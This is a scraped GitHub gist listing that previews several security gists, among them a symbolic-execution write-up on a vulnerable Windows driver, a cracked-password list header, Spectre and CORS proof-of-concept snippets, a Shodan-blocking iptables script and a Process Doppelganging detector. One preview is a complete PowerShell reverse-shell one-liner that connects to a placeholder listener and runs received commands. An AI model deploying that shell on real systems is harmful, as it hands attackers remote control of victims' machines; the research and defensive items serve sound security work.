Skip to content

Instantly share code, notes, and snippets.

View nbosa's full-sized avatar

Nbosa nbosa

53 followers · 9 following
View GitHub Profile
@jthuraisamy
jthuraisamy / README.md
Last active April 16, 2023 06:06

PyExZ3 Example with HackSysExtremeVulnerableDriver

TL;DR: Using symbolic execution to recover driver IOCTL codes that are computed at runtime.

The goal here is to find valid IOCTL codes for the HackSysExtremeVulnerableDriver by analyzing the binary. The control flow varies between the binary and source due to compiler optimizations. This results in a situation where only a few IOCTL codes in the assembly are represented as a constant with the remaining being computed at runtime.

The code in hevd_ioctl.py is a approximation of the control flow of the compiled IrpDeviceIoCtlHandler function. The effects of the compiler optimization are more pronounced when comparing this code to the original C function. To comply with requirements of the PyExZ3 module, the target function is named after the script's filename, and the `ex

@roycewilliams
roycewilliams / pwnedpasswords-v2-top20k.txt
Last active July 19, 2026 14:07
pwnedpasswords-v2-top20k.txt
#------------------------------------------------------------------------------
# Top 20K hashes from the Troy Hunt / haveibeenpwned Pwned Passwords list v2 (2018-02-21)
# with frequency count and cracked plaintext passwords
#
# The latest version of this file can be found here:
# https://gist.github.com/roycewilliams/281ce539915a947a23db17137d91aeb7
#
# NOTE: THIS FILE IS DEPRECATED.
# The equivalent of this file, but based on v6 of the Pwned Passwords, is here:
# https://gist.github.com/roycewilliams/226886fd01572964e1431ac8afc999ce
@ohpe
ohpe / RS.ps1
Last active October 14, 2024 19:46
PowerShell Reverse Shell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
@richinseattle
richinseattle / trace_PE_verify.py
Last active May 25, 2019 11:56
import reven
def read_symbolic(point, symbolic):
if isinstance(symbolic, reven.SymbolicRegister):
return point.cpu().read_register(symbolic.name)
elif isinstance(symbolic, reven.SymbolicPhysicalMemory):
mem = point.memory().read_physical(symbolic.address, symbolic.size)
value = 0
for byte in reversed(mem):
value <<= 8
@cgvwzq
cgvwzq / index.html
Created February 6, 2018 21:05
js md5 collision integrity check
<!doctype html>
<meta charset=utf-8>
<script>
(function(){
let p = '66756e6374696f6e20776f6c6f6c6f2829207b0a2f2a2070616464696e6770616464696e6770616464696e6770616464696e202a2f0a6c65742078203d205b60a93b8c71cd270612671823b651adad9cdb3cd1d746c54f2911be40d107cc15e790e1a8be804d36484bcee114fe8f137bb71fb709c1a16d399884facf5936714b1fe4c9be4e2ec593c1df6e22d6ee0fc42198160b689c02f9a9c300c89b5f68c8d33530f89fc8721efb41cc3adc73008702d7c7373b70cbb75ae7575a6f7df566602c2f2a666a35374e4762304954714678656e6c6f374644766e41775a47464e346f6e4538535274443134766e3564776d79424b546d56496c6c4c706b4d2a2f6000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005752ca3581b494dd996d5ddeab432a3bfb53bbcdb05dd34401241f1cf273e3c9812ecd67c66f2fb8f046e3cc1f5787921df10fc8423f626c6bef6f09947df69992d2ba0431422fbcc26dcdd16e4b6cbf198c3a5b12fa72b066932264a9afdbc8da7ba363f8ea1c70267c50992d0c9dee41000116dc523f4e61c37e208a9cf34602c2f2a39697a366c534166596d46786a48446e375246446e353875544
@jgamblin
jgamblin / antiautosploit.py
Last active June 1, 2026 16:28
Blocks Shodan IPs From Scanning Your Servers.
#!/usr/bin/python3
import os
shodan = ["104.131.0.69", "104.236.198.48", "155.94.222.12","155.94.254.133", "155.94.254.143", "162.159.244.38", "185.181.102.18", "188.138.9.50", "198.20.69.74", "198.20.69.98", "198.20.70.114", "198.20.87.98", "198.20.99.130", "208.180.20.97", "209.126.110.38", "216.117.2.180", "66.240.192.138", "66.240.219.146", "66.240.236.119", "71.6.135.131", "71.6.146.185", "71.6.158.166", "71.6.165.200", "71.6.167.142", "82.221.105.6", "82.221.105.7", "85.25.103.50", "85.25.43.94", "93.120.27.62", "98.143.148.107", "98.143.148.135"]
for ip in shodan:
os.system("iptables -A INPUT -s {} -j DROP".format(ip))
@ropnop
ropnop / cors_poc_test.html
Last active November 14, 2018 07:01
Quick tester for CORS misconfigurations
<html>
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<h1>CORS Test PoC</h1>
<label for="target_url">Endpoint to test: </label><input type="url" id="target_url" size=100 placeholder="Target URL"><br/>
<input type="checkbox" id="with_creds_checkbox" value="with_creds"><label for="with_creds_checkbox">With Credentials?</label><br/>
<input type="submit" id="submit_btn" value="Make Request">
<hr>
<p>If the site is vulnerable to an overly permissive CORS policy, the response of the above request will appear in the box below</p>
<div id="test_data" style="border:1px solid darkred; color: red">
@richinseattle
richinseattle / tencent_spectre.js
Created January 9, 2018 21:26
/*
* check.js - Spectre Check
*
* Copyright 2018 Tencent Xuanwu Lab <xlab@tencent.com>
* Copyright 2018 Tencent, Inc. and/or its affiliates. All rights reserved.
*
* This code is the copyright of all authors, please reference reservation reproduced.
*/
var is_reset = false;
@ErikAugust
ErikAugust / spectre.c
Last active June 25, 2026 11:49
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@dezhub
dezhub / Get-Doppelgangers.ps1
Created December 21, 2017 21:08
function Get-Doppelgangers
{
<#
.SYNOPSIS
Detects use of NTFS transactions for stealth/evasion, aka 'Process Doppelganging'
Author: Joe Desimone (@dez_)
License: BSD 3-Clause